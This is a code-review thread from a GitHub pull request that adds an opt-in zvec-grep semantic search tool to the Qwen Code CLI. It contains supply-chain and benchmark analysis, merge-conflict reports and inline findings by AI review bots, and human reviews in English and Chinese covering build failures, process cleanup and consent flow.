  • @zvec/zvec-grep 发布于 2026-06-30——本 PR 开启的前一天,显然为本集成而生。16 天 6 个版本;所 pin 的 0.1.5 与当前 head 同日发布。维护者为 zvec@alibaba-inc.com(阿里官方;与 Qwen Code + DashScope 同一信任链)。
  • npm 包只含编译后的 dist/,声明的仓库 github.com/zvec-ai/zvec-grep 404zvec-ai org 有 9 个公开仓库,唯独没有它)。Apache-2.0,但当下无法源码审计
  • CLI surface 在 pre-1.0 阶段已发生破坏性变化:0.1.4 扁平 flag,0.1.5 改为子命令——我在本机复现:预装的全局 0.1.4 会把工具的 zg query --rg … 调用误解析(warning: skipped missing path: query)。工具从不检查 zg 版本,装过旧版的用户会静默降级。加一个轻量 zg --version 校验是收益最高的加固项。
  • 规模/平台:干净全局安装约 172 MB(全语言 tree-sitter WASM + 原生向量库绑定)。原生绑定覆盖 darwin-arm64 / linux-x64 / linux-arm64 / win32-x64——没有 darwin-x64,Intel Mac 用户永远无法使用语义模式(有 rg 优雅降级,但仍会安装 172 MB)。上游要求 Node ≥ 22。
  • zg 子进程获得完整 process.env(embedding 需要 DASHSCOPE_API_KEY/QWEN_API_KEY);相对地安装步骤使用严格环境白名单(仅 PATH/HOME/代理/npm_config/CA)——隔离做得不错。
  • 使之可接受的缓和因素:默认关闭、bare/safe 模式强制关闭、首次使用的显式确认(写明安装行为与远程数据流向)、workspace 级退出、Read 规则继承、工作区外路径二次确认。

3 · 基准数据的真实含义

标题收益(本仓库 −28% tokens、向量库仓库 −29%)只在 warm-index + 语义使用 + 无子代理这一配置下成立。PR 自己的数据里有两个分布性注意点:在所有实际调用了 zvec 的运行中,平均总 tokens(685,019)≈ 基线(689,891);且 仅用 regex 模式的 zvec 使用比基线 grep 更贵(本仓库 929,164 vs 689,891;另一仓库 719,059 vs 391,615)。收益是真实的但高度集中:依赖 warm 索引与语义式用法;答案质量评分(4.8/5)为作者自评启发式。在决定默认值以及工具描述对 rg 流量的引导强度时值得留意。

4 · 建议的合入路径

  1. 作者: 按模板补全 PR 描述(Tested onRisk & ScopeLinked Issues、完整 中文说明)——解除 CI bot 门禁。
  2. 作者: 批量 resolve 20 条过时 SKILL.md 线程;对 7 条实质已修复的线程逐条一句话回复并 resolve;对 4 条属实的小问题确认为 follow-up。
  3. 作者: 新增用户文档页(docs/users/features/zvec-grep.md):如何开启、首次使用会安装什么(约 172 MB)、远程 embedding 的隐私/费用影响、ZVEC_GREP_EMBEDDING=local/… 替代、Intel Mac 限制、如何按 workspace 关闭。这同时彻底关闭 LaZzyMan 的 Where is the config saved? #2/如何自定义密钥文件 .env可能与其他文件冲突 #3
  4. 建议(合入前或紧随其后): 增加 zg 版本兼容性检查。
  5. @LaZzyMan 在 1–3 落地后复审。
  6. 合入后向 zvec 团队提出: 公开 zvec-grep 源码仓库(可审计性)、补齐 darwin-x64 绑定、并将每次 pin 升级视为一次 CLI surface 重新验证。

Research verified against head 1bf3df111, merge-base bbec6dffb, npm registry metadata, and the live zg 0.1.4/0.1.5 binaries on macOS.

@wenshao

wenshao commented Jul 16, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /triage

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

⏸️ Deferring to @wenshao — the implementation is clean across all stages (security, consent, integration, tests), and your local validation is thorough. Two things need a human call before I can approve:

  1. Size: 1,828 production lines in core paths (packages/core/src/**, packages/cli/src/**) triggers the maintainer-awareness escalation. The feat type means this isn't hard-blocked, but the scope deserves explicit sign-off.
  2. Supply chain: @zvec/zvec-grep is compiled-only, 404 source repo, pre-1.0 CLI surface, 172MB install, published the day before this PR. The Alibaba vendor chain makes it plausible, but the trade-off should be accepted explicitly.

Standing CHANGES_REQUESTED from @LaZzyMan appears fully addressed on the current head — all 7 findings are fixed in substance. Author should complete the PR template and resolve the stale SKILL.md threads before merge.

@wenshao

wenshao commented Jul 23, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /resolve

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

Qwen Code resolved the merge conflicts and pushed the branch update.

Merge conflict resolution for PR #6096

Root cause

The PR branch (feat/zvec-grep-skill) diverged from main at v0.19.11. Main accumulated several independent features that added new config fields and tests at the same insertion points the PR used:

Textual or semantic

All six conflict regions were purely textual — adjacent insertions into the same block with no shared logic modified. Both sides added independent fields, assignments, or test cases. The resolution keeps both sides verbatim in every case.

What is load-bearing

  • Field declaration and assignment ordering in packages/core/src/config/config.ts: zvecGrepEnabled is declared before customSkillDirs, and assigned before it in the constructor. This matches the order in ConfigParameters (zvecGrepEnabled appears earlier in the interface). If a future edit reorders these, the constructor must stay consistent with the interface.
  • Test ordering: the PR's zvec-grep tests appear before main's new tests in each describe block. This is purely cosmetic — tests are independent — but the ordering is stable for diff readability.

What I could not verify

  • No build, typecheck, lint, or tests were run. The ConfigParameters interface in packages/core/src/config/config.ts must declare both zvecGrepEnabled and customSkillDirs — I confirmed both assignments exist in the constructor but did not verify the interface declaration (it was not in conflict, so it is either already merged by auto-merge or already present).
  • The ToolNames.LIST_AGENTS constant referenced in the new main test must be exported from packages/core/src/tools/tool-names.ts — this file auto-merged cleanly and was not in conflict.
  • The Explore agent's tools array in builtin-agents.ts auto-merged and must include ToolNames.ZVEC_GREP for the PR's test to pass — this was not conflicted and was not modified.
中文说明

PR #6096 合并冲突解决

根本原因: PR 分支从 v0.19.11 分叉,main 分支在此期间新增了 customSkillDirs 配置字段、LIST_AGENTS 工具注册测试、Explore 代理只读加固测试(#7126)以及子代理管理器失败关闭测试。这些新增内容恰好插入到 PR 的 zvec-grep 功能所使用的同一位置,导致 5 个文件共 6 处冲突。

冲突性质: 所有冲突均为纯文本性的相邻插入,两侧未修改任何共享逻辑。解决方案保留了双方的完整内容。

关键约束: packages/core/src/config/config.tszvecGrepEnabled 字段的声明和赋值必须在 customSkillDirs 之前,与 ConfigParameters 接口中的顺序一致。

未验证项: 未运行构建、类型检查或测试。ConfigParameters 接口声明、ToolNames.LIST_AGENTS 常量导出以及 Explore 代理工具列表均通过自动合并处理,未产生冲突,未在本次解决中修改。

Comment on lines 8 to +10
import { ToolNames } from '../tools/tool-names.js';
import { BuiltinAgentRegistry } from './builtin-agents.js';
import { ToolNames } from '../tools/tool-names.js';

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Duplicate import of ToolNames from '../tools/tool-names.js' — the same named import already exists on line 8. This causes TypeScript compilation failure (TS2300: Duplicate identifier 'ToolNames'), breaking the entire packages/core build and all downstream packages. — Failure scenario: npm run build fails because tsc rejects the duplicate identifier. CI build fails.

Suggested change
import { ToolNames } from '../tools/tool-names.js';
import { BuiltinAgentRegistry } from './builtin-agents.js';
import { ToolNames } from '../tools/tool-names.js';
import { ToolNames } from '../tools/tool-names.js';
import { BuiltinAgentRegistry } from './builtin-agents.js';

— qwen3.7-max via Qwen Code /review

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] packages/core/src/subagents/builtin-agents.test.ts:10 — Duplicate ToolNames import (already reported at same location, dropped from inline to avoid duplicate)

— qwen3.7-max via Qwen Code /review

Comment on lines +639 to +642
child.once('error', cleanupJob);
child.once('exit', cleanupJob);
fs.writeFileSync(jobPath, JSON.stringify(job, null, 2));
child.unref();

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] fs.writeFileSync(jobPath, ...) is not guarded; if it throws (disk full, read-only FS), the detached zg child process is orphaned with no tracking file and no kill path. — Failure scenario: startBackgroundIndexJob spawns zg index with detached: true, then writeFileSync throws. The exception propagates, child.unref() is never reached, but the child is detached so it outlives the parent. No job file exists, so readBackgroundIndexJob returns undefined on the next call, and startApprovedBackgroundIndex spawns another orphan. Each failure leaks one zg process and one log file permanently.

Suggested change
child.once('error', cleanupJob);
child.once('exit', cleanupJob);
fs.writeFileSync(jobPath, JSON.stringify(job, null, 2));
child.unref();
child.once('error', cleanupJob);
child.once('exit', cleanupJob);
try {
fs.writeFileSync(jobPath, JSON.stringify(job, null, 2));
} catch (error) {
child.kill('SIGTERM');
removeBackgroundLogFile(logPath);
throw error;
}
child.unref();

— qwen3.7-max via Qwen Code /review

if (parsed.indexing) return true;
if (!parsed.unindexed) return false;
if (readBackgroundIndexJob(cwd)) return true;
if (!canUseSemanticEmbedding()) return false;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] canUseSemanticEmbedding() is called without passing parsed, which is available in scope. This disables the statusLooksLocalEmbedding detection path. — Failure scenario: User has a local embedding model configured (visible in zg status output) but no env vars set. canUseSemanticEmbedding() returns false because the status-text branch requires parsed, so background indexing is never started. The same call at line 1476 correctly passes parsed.

Suggested change
if (!canUseSemanticEmbedding()) return false;
if (!canUseSemanticEmbedding(parsed)) return false;

— qwen3.7-max via Qwen Code /review

Comment on lines +1276 to +1278
canUseSemanticEmbedding(),
needsInstall: false,
parsedStatus,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Same pattern as line 654: canUseSemanticEmbedding() called without parsedStatus, even though it was just computed and is included in the same return object. — Failure scenario: workspace with local embedding visible in status but no env vars → setup prompt never offers background indexing.

Suggested change
canUseSemanticEmbedding(),
needsInstall: false,
parsedStatus,
canUseSemanticEmbedding(parsedStatus),
needsInstall: false,
parsedStatus,

— qwen3.7-max via Qwen Code /review

Comment on lines +410 to +414
allTokens.push(token);
if (looksCodeLike(token)) {
codeLikeTokens.push(token);
}
if (allTokens.length >= SEMANTIC_FALLBACK_TOKEN_LIMIT) break;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] SEMANTIC_FALLBACK_TOKEN_LIMIT (12) caps allTokens, but when code-like tokens exist, the function returns the codeLikeTokens subset — which can be far smaller than 12. — Failure scenario: verbose natural-language query with sparse code tokens (e.g., "please help me find the implementation of handleUserRequest that processes HTTP requests") yields only 1–2 code-like tokens in the fallback regex, degrading rg-fallback recall. Consider moving the limit to apply after the code-like/all-tokens selection.

— qwen3.7-max via Qwen Code /review

Comment on lines +1625 to +1627
for (const field of ['paths', 'exclude'] as const) {
const value = params[field];
if (

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] This for-loop duplicates validation already performed by validateRawStringArrayField in the validateToolParams override, making it unreachable dead code. — Concrete cost: validateRawStringArrayField runs before super.validateToolParams(), so if either returns an error, validateToolParamValues is never called. If both pass, the arrays are already valid and this loop's condition can never be true. Remove the loop to avoid misleading future maintainers about the validation flow.

— qwen3.7-max via Qwen Code /review

Comment on lines +2050 to +2051
zvecGrepEnabled:
bareMode || safeMode ? false : settings.tools?.zvecGrep?.enabled === true,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] No test asserts that zvecGrepEnabled is forced to false when bareMode or safeMode is active. — Failure scenario: a future refactor could naively read settings.tools?.zvecGrep?.enabled without the guard, exposing the semantic search tool (which contacts an external embedding API) in restricted modes. The three existing CLI config tests all use normal mode, so the regression would go undetected. Consider adding a test with bareMode: true + tools.zvecGrep.enabled: true.

— qwen3.7-max via Qwen Code /review

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed — no blockers. Suggestions are inline. 1 Suggestion-level finding(s) could not be anchored to a changed line and were dropped; nothing further to act on here.

— qwen3.7-max via Qwen Code /review

Comment on lines +1276 to +1277
canUseSemanticEmbedding(),
needsInstall: false,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] canUseSemanticEmbedding() is called without the parsed argument in getSetupPromptState, even though parsedStatus is available in scope — same pattern as the existing finding at line 654. — Failure scenario: workspace has zg installed with a local embedding model visible in zg status output (embedding local/...), but no ZVEC_GREP_EMBEDDING or API key env vars set. The statusLooksLocalEmbedding(parsed.raw) check is skipped because parsed is not passed, so canUseSemanticEmbedding() returns false and the setup prompt is suppressed. The user misses the opportunity to enable semantic indexing despite local embedding being available. Contrast with line 1476 where canUseSemanticEmbedding(parsed) is called correctly.

Suggested change
canUseSemanticEmbedding(),
needsInstall: false,
canUseSemanticEmbedding(parsedStatus),

— qwen3.7-max via Qwen Code /review

@yiliang114 yiliang114 left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

PR Review: feat(tool): add opt-in zvec-grep search tool

Summary

This PR adds a new zvec_grep tool for semantic and ripgrep-style exact search. It's opt-in (disabled by default), properly integrated with permissions, and includes comprehensive fallback mechanisms.


✅ Strengths

Architecture & Design

  • Clean integration with existing tool infrastructure
  • Proper opt-in via tools.zvecGrep.enabled setting (default: false)
  • Good fallback chain: semantic → rg → native ripgrep
  • Background indexing with proper detached process handling
  • Proper permission integration with "Read" meta-category

Security

  • Workspace boundary checking with permission prompts for external paths
  • Clear disclosure about embedding service data flow in setup prompt
  • API keys sourced from environment variables, not stored
  • Explicit user approval before installing npm package

Test Coverage

  • Comprehensive test suite (1725 lines) covering:
    • Parameter validation
    • Setup prompts and permission flows
    • Semantic/exact search modes
    • Fallback behaviors
    • Background indexing
    • Workspace disable persistence
    • Edge cases (ENOENT, timeouts, Windows paths)

🔴 Issues (Must Fix)

1. Duplicate import in builtin-agents.test.ts (line 10)

import { ToolNames } from '../tools/tool-names.js';
import { ToolNames } from '../tools/tool-names.js';

This causes a compilation error. Remove one of the duplicate imports.


🟡 Suggestions (Non-Blocking)

1. Hardcoded npm package version
packages/core/src/tools/zvec-grep.ts:35

const ZVEC_GREP_NPM_PACKAGE = '@zvec/zvec-grep@0.1.5';

Consider making the version configurable via environment variable or settings, or at least document how version updates will be handled.

2. Output limit documentation
The 20MB output limit (ZG_OUTPUT_LIMIT = 20_000_000) is reasonable but could benefit from a comment explaining the rationale for this specific value.

3. Background job cleanup robustness
The background index job cleanup relies on process exit handlers. Consider adding a stale job cleanup on startup (jobs where the PID no longer exists) to handle crash scenarios.


📋 Minor Nits

  1. packages/core/src/subagents/subagent-manager.ts:1196-1199: The skip logic for zvec_grep could be combined with the WebSearch skip above for consistency.

  2. The setup prompt text mentions "Qwen/DashScope embedding service" - consider making this configurable for users who might use different embedding backends.


Overall Assessment

This is a well-designed feature with strong security considerations and comprehensive testing. The implementation follows existing patterns well. After fixing the duplicate import issue, this PR is ready to merge.

Recommendation: Request Changes (for the duplicate import fix)

@LaZzyMan LaZzyMan left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@zhourrr I re-reviewed the current head (3996d0f7) against the previous review on b5933c38. The earlier argv-boundary, first-query index scope, scope/glob composition, fallback-regex escaping, SIGKILL escalation, and failed-install retry issues are fixed. Thank you for addressing those concrete failures.

I am still requesting changes for the following blockers:

  1. [P1] The current head does not build. npm run build first fails with TS2300 because ToolNames is imported twice in packages/core/src/subagents/builtin-agents.test.ts (lines 8 and 10). After removing only that duplicate in an isolated review worktree, the build reaches CLI and fails again with TS2741 because the new fixed-choice test renders AskUserQuestionDialog without its required availableWidth prop (packages/cli/src/ui/components/messages/AskUserQuestionDialog.test.tsx:183). With only those two review-only corrections, the full build and full typecheck complete successfully. Please fix both compile errors.

  2. [P1] tools.zvecGrep.enabled: true must be the one-time setup authorization; do not add another per-workspace runtime prompt. The current implementation asks interactive users to enable semantic search again, while getSetupPromptState() suppresses setup in non-interactive mode and execute() installs/indexes only when setupApproved is true. Consequently, a headless/SDK user can explicitly enable the setting in a fresh workspace yet can never install zg or start the semantic index; every semantic call silently remains an rg fallback. Remove the setup-confirmation/workspace-opt-out flow and treat the enabled setting as authorization to install and index without repeated interruption. Keep the separate confirmation for paths outside the workspace. At the opt-in boundary, expand the setting documentation beyond "registers the tool": disclose the exact global npm install, background full-workspace index, the default remote embedding behavior (workspace fragments, changed files during automatic refresh, and semantic query text are sent to Qwen/DashScope and may incur cost), the relevant credential environment variables, and the local-model alternative. A clean macOS install of the currently pinned @zvec/zvec-grep@0.1.5 added 214 packages and occupied about 172 MB in the isolated prefix, so this is a material side effect even though it should remain seamless after opt-in.

  3. [P1] Background index startup is not failure-atomic. The existing unresolved finding at #6096 (comment) is valid: after the detached child starts, fs.writeFileSync(jobPath, ...) can throw, leaving an untracked indexer running. The next semantic call can start another one, repeating remote work and process leakage. Kill the child with bounded escalation, remove the log/job artifacts when metadata persistence fails, and add a regression test. Also attach an error listener before the !child.pid branch so an asynchronous spawn failure cannot become an unhandled error event.

  4. [P2] Scheduler path extraction still disagrees with the tool's effective scope. The unresolved finding at #6096 (comment) is valid. zvec_grep({ paths: ['src/components'], glob: '*.tsx' }) searches the intersection, but extractToolFilePaths() emits only the raw path and raw glob instead of src/components/**/*.tsx. This can skip path-gated skill/conditional-rule activation. Join the glob with every entry in paths and cover it with a focused test.

Before the next review, update the branch against current main. This head is currently 408 commits behind, GitHub reports mergeStateStatus: DIRTY, and a non-destructive merge-tree check finds content conflicts in packages/cli/src/config/config.test.ts, packages/cli/src/config/config.ts, packages/core/src/config/config.ts, and packages/core/src/permissions/permission-manager.test.ts. Re-run the full validation after resolving those conflicts.

The PR body also still omits the current template's Tested on, Environment, Risk & Scope, Linked Issues, and complete Chinese translation. The benchmark claims need reproducible commands/artifacts or links rather than summary numbers alone. This is an external cross-package core feature with 1,708 added production lines under packages/core/src alone, so it also needs explicit maintainer architectural review after the blockers are fixed.

Verification on the current head: the zvec-grep suite passed 54/54; the other focused core suites passed 1,194/1,194; the focused CLI suites passed 371 tests with 1 skipped after workspace packages were built. The published 0.1.5 CLI accepted the new -e/-- argument boundaries and path+glob narrowing in real no-index rg runs. git diff --check and full lint passed. The original head fails full build at the two TypeScript errors above; with only those two temporary fixes, full build and full typecheck passed. The review worktree was restored to the unmodified PR head afterward.

I am not asking to apply the two current bot suggestions that merely pass parsedStatus into canUseSemanticEmbedding(). In an unindexed workspace, that can authorize setup from stale local-model metadata while buildIndexArgs() still selects the default remote model. Keep explicit current model selection, or redesign persisted-model reuse end to end; do not make that one-line change in isolation.

中文说明

@zhourrr 我重新审查了当前 head(3996d0f7),并与上次审查的 b5933c38 逐项对照。此前的参数边界、首次查询污染索引范围、path/glob 组合、fallback 正则转义、SIGKILL 升级以及安装失败重试问题都已经修复,感谢对这些具体问题的处理。

当前仍需修改以下阻塞项:

  1. [P1] 当前 head 无法构建。 npm run build 首先因为 packages/core/src/subagents/builtin-agents.test.ts 第 8、10 行重复导入 ToolNames 而报 TS2300。我只在隔离审查 worktree 临时删除该重复导入后,构建继续到 CLI,又因为新增的固定选项测试调用 AskUserQuestionDialog 时缺少必填 availableWidthpackages/cli/src/ui/components/messages/AskUserQuestionDialog.test.tsx:183)而报 TS2741。仅临时修正这两处后,全量 build 和 typecheck 均通过。请修复这两个编译错误。

  2. [P1] tools.zvecGrep.enabled: true 应当就是一次性的 setup 授权,不应在每个 workspace 再弹一次运行时确认。 当前实现会再次询问交互式用户;同时,getSetupPromptState() 在非交互模式直接跳过 setup,而 execute() 只有在 setupApproved 为 true 时才安装或建索引。因此 headless/SDK 用户即使在新 workspace 明确开启了配置,也永远无法安装 zg 或启动语义索引,所有语义调用都会静默停留在 rg fallback。请删除 setup 确认和 workspace opt-out 流程,把 enabled 配置视为允许无打扰地安装和建索引;workspace 外路径的独立确认仍应保留。配置文档不能只写“注册工具”,还应在开启入口明确披露:具体的全局 npm 安装、后台全 workspace 索引、默认远程 embedding 会把 workspace 片段、自动刷新时的变更文件和语义查询文本发送给 Qwen/DashScope 并可能产生费用、相关凭证环境变量,以及本地模型替代方案。当前固定版本 @zvec/zvec-grep@0.1.5 在隔离 macOS 前缀中新增 214 个包、约占 172 MB;虽然开启后应保持无感,这仍属于需要在配置入口说明的实质副作用。

  3. [P1] 后台索引启动不是 failure-atomic。 现有未解决评论 #6096 (comment) 是有效问题:detached 子进程启动后,fs.writeFileSync(jobPath, ...) 一旦失败,就会留下无法追踪的索引进程;下一次语义调用还可能继续启动新的进程,重复远程工作并造成进程泄漏。元数据持久化失败时应对 child 做有上界的终止升级,并清理 log/job 文件,同时补回归测试。另外,应在 !child.pid 分支之前注册 error listener,避免异步 spawn 失败变成未处理的 error 事件。

  4. [P2] scheduler 提取的路径仍与工具实际搜索范围不一致。 现有未解决评论 #6096 (comment) 是有效问题。zvec_grep({ paths: ['src/components'], glob: '*.tsx' }) 实际搜索两者交集,但 extractToolFilePaths() 只分别输出原始 path 和 glob,没有输出 src/components/**/*.tsx,可能导致按路径触发的 skill/conditional rule 不生效。请把 glob 与 paths 中每个条目组合,并增加聚焦测试。

下一轮审查前还需要先同步当前 main。该 head 目前落后 408 个提交,GitHub 显示 mergeStateStatus: DIRTY;非破坏性的 merge-tree 检查确认 packages/cli/src/config/config.test.tspackages/cli/src/config/config.tspackages/core/src/config/config.tspackages/core/src/permissions/permission-manager.test.ts 存在内容冲突。解决冲突后请重新跑完整验证。

PR 描述仍缺少当前模板要求的 Tested onEnvironmentRisk & ScopeLinked Issues 和完整中文翻译。Benchmark 结论也需要提供可复现命令、原始产物或链接,而不只是汇总数字。该 PR 是外部开发者提交的跨 package 核心功能,仅 packages/core/src 就新增 1,708 行生产代码;修复阻塞项后仍需 maintainer 明确做架构审查。

本轮验证结果:zvec-grep 专项测试 54/54 通过;其余 core 聚焦测试 1,194/1,194 通过;workspace 包构建后,CLI 聚焦测试 371 项通过、1 项跳过。真实发布版 0.1.5 在无索引 rg 场景中正确接受新的 -e/-- 参数边界和 path+glob 收窄。git diff --check 和完整 lint 通过。作者原始 head 会在上述两处 TypeScript 错误上构建失败;仅应用这两处临时修正后,完整 build 和 typecheck 通过。验证结束后,审查 worktree 已恢复到未修改的 PR head。

另外,我不建议直接采纳当前两个仅把 parsedStatus 传给 canUseSemanticEmbedding() 的机器人建议。对未索引 workspace 来说,这可能根据过期的本地模型元数据允许 setup,但 buildIndexArgs() 仍会选择默认远程模型。请保持当前模型的显式选择,或者完整设计持久化模型复用;不要只做这一行修改。

@wenshao

wenshao commented Aug 7, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /resolve

@qwen-code-dev-bot

Copy link
Copy Markdown
Collaborator

Qwen Code resolved the merge conflicts and pushed the branch update.

Merge resolution: PR #6096 (zvec-grep tool) with main

Root cause

The branch last merged main at 7422bf879. Since then main added config plumbing at this PR's exact insertion points: disabledSkillLevels / terminalImageRenderSupportProvider (inserted after disabledSkillNamesProvider in cli and core ConfigParameters) and ACP session-id handling (SessionIdConflictError). Separately, main extended the same permissions test this PR modified, for the new zoom_image read-only tool.

Textual or semantic

Of four conflicted files, three are pure adjacent insertions — both sides kept verbatim (config field/constructor hunks in cli+core config.ts; cli config.test.ts imports, where main's SessionIdConflictError and the PR's value imports LoadedSettings, SettingScope are all consumed at runtime). One is semantic — both sides edited the same test in packages/core/src/permissions/permission-manager.test.ts. Resolved to the union:

it('"Read" (read_file) covers all read-only file tools', async () => {
  expect(toolMatchesRuleToolName('read_file', 'zoom_image')).toBe(true);
  expect(toolMatchesRuleToolName('read_file', 'grep_search')).toBe(true);
  expect(toolMatchesRuleToolName('read_file', 'zvec_grep')).toBe(true);
  ...

What is load-bearing

  • These assertions hold only because auto-merged READ_TOOLS in rule-parser.ts contains both zoom_image (main) and zvec_grep (PR). Dropping either breaks the test.
  • zvecGrepEnabled must keep its bareMode || safeMode ? false : … gate, matching sibling params.
  • A second PR-touched test ('Read rule matches …') was untouched by main since the base, so the merge keeps the PR version with its zvec_grep assertion.
  • Main's subagent-manager.ts already imports ToolNames, so the PR's import hunk vanished; its ZVEC_GREP skip block is its sole surviving contribution there.

What I could not verify

No build/typecheck/tests were run. Main-side behavioral changes auto-merged into non-conflicted test lines: splitCompoundCommand('echo a \&& b') now expects a split, and two symlink tests were renamed for win32 semantics — purely main's changes, but only PR CI can confirm zvec-grep never relied on the old behavior. The consent flow's allowCustomInput: false dependency on AskUserQuestionDialog is safe: main never touched that file since the base.

中文说明

根因:分支上次合并 main 停在 7422bf879。此后 main 在本 PR 的同一插入点新增配置字段(disabledSkillNamesProvider 之后的 disabledSkillLevelsterminalImageRenderSupportProvider)与 ACP 会话 ID 冲突处理(SessionIdConflictError);并为该 PR 也改过的权限测试新增了 zoom_image 断言。

文本还是语义冲突:4 个冲突文件中 3 个是纯相邻插入,双方内容原样保留。1 个是语义冲突:permission-manager.test.ts 的 "Read 覆盖…" 测试被双方分别修改,取并集解决(main 的测试名与 zoom_image 断言 + PR 的 zvec_grep 断言)。

关键点:合并后断言依赖自动合并的 rule-parser.tsREAD_TOOLS 同时含 zoom_imagezvec_grepzvecGrepEnabled 必须保持 bareMode || safeMode ? false : … 门控;main 的 subagent-manager.ts 已自带 ToolNames 导入,PR 在该文件仅存 ZVEC_GREP 跳过块。

未能验证:未运行构建/测试。main 的行为变更自动合并进非冲突测试行(splitCompoundCommand('echo a \&& b') 现期望拆分、两个符号链接测试改名)——纯属 main 改动,但若 zvec-grep 依赖旧行为只能由 PR CI 暴露。同意流程依赖的 AskUserQuestionDialogallowCustomInput: false)安全:main 自分叉点起未改该文件。

@wenshao

wenshao commented Aug 8, 2026

Copy link
Copy Markdown
Collaborator

@qwen-code /review

@github-actions

github-actions Bot commented Aug 8, 2026

Copy link
Copy Markdown
Contributor
_Qwen Code review request accepted. Review is queued in [workflow run](https://github.com/QwenLM/qwen-code/actions/runs/31243149807)._

@qwen-code-ci-bot

Copy link
Copy Markdown
Collaborator

Qwen Code review timed out. Qwen review timed out after 21600 seconds (of the 360-minute budget). This run already used the maximum 360 minute timeout. See workflow logs.

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not explored to full depth (tool budget reached): You are review agent reverse-audit — Reverse audit agen...: none — all checks above completed within budget.; You are review agent reverse-audit — Reverse audit agen...: none — all checks I started completed within budget.; You are review agent reverse-audit — Reverse audit agen...: none — all checks above completed within budget.; You are review agent reverse-audit — Reverse audit agen...: none — I finished within budget; no check was left unfinished.; You are review agent reverse-audit — Reverse audit agen...: none — finished within budget; all checks above reached a conclusion., and 4 more.

Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.

— qwen3.8-max via Qwen Code /review (v0.21.9)

? (params.limit ?? DEFAULT_SEMANTIC_LIMIT)
: params.limit;
const limitedLines = limit === undefined ? lines : lines.slice(0, limit);
const truncated = result.truncated || limitedLines.length < lines.length;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Merge drift from the final main merge: result.truncated does not exist on RipgrepRunResult (the field is incomplete) — TS2339 in zvec-grep.ts:1174, and the test mock at zvec-grep.test.ts:157 fabricates the same phantom field (TS2353), so both sides move together and all 54 tests pass while the build breaks. — Failure scenario: (1) tsc fails with TS2339 (zvec-grep.ts:1174) and TS2353 (zvec-grep.test.ts:157) — verified in this worktree. (2) Even if compiled, result.truncated is always undefined: when native ripgrep returns partial output (incomplete: true, e.g. killed on timeout/buffer) and no limit applies, no truncation marker/notice is produced — partial results are presented to the model as complete.

Suggested fix: Use result.incomplete in runNativeGrepSearch, rename the mock option to incomplete (and supply recovery), and add a case where an incomplete native-rg result with no limit still surfaces the truncation notice.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +155 to +157
runRipgrepMock.mockResolvedValueOnce({
stdout,
truncated: options.truncated ?? false,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Merge drift from the final main merge: result.truncated does not exist on RipgrepRunResult (the field is incomplete) — TS2339 in zvec-grep.ts:1174, and the test mock at zvec-grep.test.ts:157 fabricates the same phantom field (TS2353), so both sides move together and all 54 tests pass while the build breaks. — Failure scenario: (1) tsc fails with TS2339 (zvec-grep.ts:1174) and TS2353 (zvec-grep.test.ts:157) — verified in this worktree. (2) Even if compiled, result.truncated is always undefined: when native ripgrep returns partial output (incomplete: true, e.g. killed on timeout/buffer) and no limit applies, no truncation marker/notice is produced — partial results are presented to the model as complete.

Suggested fix: Use result.incomplete in runNativeGrepSearch, rename the mock option to incomplete (and supply recovery), and add a case where an incomplete native-rg result with no limit still surfaces the truncation notice.

— qwen3.8-max via Qwen Code /review (v0.21.9)

Comment on lines +1245 to +1251
if (
this.params.operation !== 'semantic' ||
this.sessionState.useNativeGrep ||
!this.config.isInteractive()
) {
return Promise.resolve({ required: false, needsInstall: false });
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Headless/non-interactive mode can never install zg or start the semantic index: getSetupPromptState() returns required: false whenever !isInteractive(), setupApproved is only ever set by the interactive confirmation's onConfirm, and execute() gates install (!status.ok && this.setupApproved) and background indexing (else if (this.setupApproved)) on it. This is LaZzyMan's still-standing P1 from the 2026-08-05 review. — Failure scenario: A headless/SDK user sets tools.zvecGrep.enabled: true in a fresh workspace: zg is never installed, no index is ever built, and every operation: "semantic" call silently degrades to rg fallback forever (with no notice, since setupNotice is only set under setupApproved), while the setting promises a semantic search tool.

